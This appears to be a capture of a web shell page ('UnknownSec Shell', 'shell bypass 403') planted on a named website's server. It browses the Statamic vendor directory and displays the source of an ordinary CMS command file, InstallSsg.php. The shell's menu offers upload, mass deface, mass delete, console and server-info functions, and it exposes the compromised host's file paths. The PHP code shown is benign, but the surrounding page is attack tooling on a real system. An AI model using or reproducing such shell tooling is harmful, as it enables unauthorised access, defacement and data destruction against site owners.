shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Console
/
Commands
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
InstallSsg.php
<?php namespace Statamic\Console\Commands; use Facades\Statamic\Console\Processes\Composer; use Illuminate\Console\Command; use Illuminate\Support\Facades\Process; use Statamic\Console\EnhancesCommands; use Statamic\Console\RunsInPlease; use Symfony\Component\Process\PhpExecutableFinder; use function Laravel\Prompts\confirm; use function Laravel\Prompts\error; use function Laravel\Prompts\spin; class InstallSsg extends Command { use EnhancesCommands, RunsInPlease; /** * The name and signature of the console command. * * @var string */ protected $signature = 'statamic:install:ssg'; /** * The console command description. * * @var string */ protected $description = "Install & configure Statamic's Static Site Generator package"; /** * Execute the console command. * * @return mixed */ public function handle() { if (Composer::isInstalled('statamic/ssg')) { return error('The Static Site Generator package is already installed.'); } spin( fn () => Composer::withoutQueue()->throwOnFailure()->require('statamic/ssg'), 'Installing the statamic/ssg package...' ); $this->checkLine('Installed statamic/ssg package'); if (confirm('Would you like to publish the config file?')) { spin( function () { Process::run([ (new PhpExecutableFinder())->find(false) ?: 'php', defined('ARTISAN_BINARY') ? ARTISAN_BINARY : 'artisan', 'vendor:publish', '--provider', 'Statamic\\StaticSite\\ServiceProvider', ]); }, message: 'Publishing the config file...' ); $this->checkLine('Config file published. You can find it at config/statamic/ssg.php'); } if ( ! Composer::isInstalled('spatie/fork') && extension_loaded('pcntl') && confirm('Would you like to install spatie/fork? It allows for running multiple workers at once.') ) { spin( fn () => Composer::withoutQueue()->throwOnFailure()->require('spatie/fork'), 'Installing the spatie/fork package...' ); $this->checkLine('Installed spatie/fork package'); } } }
© 2026 UnknownSec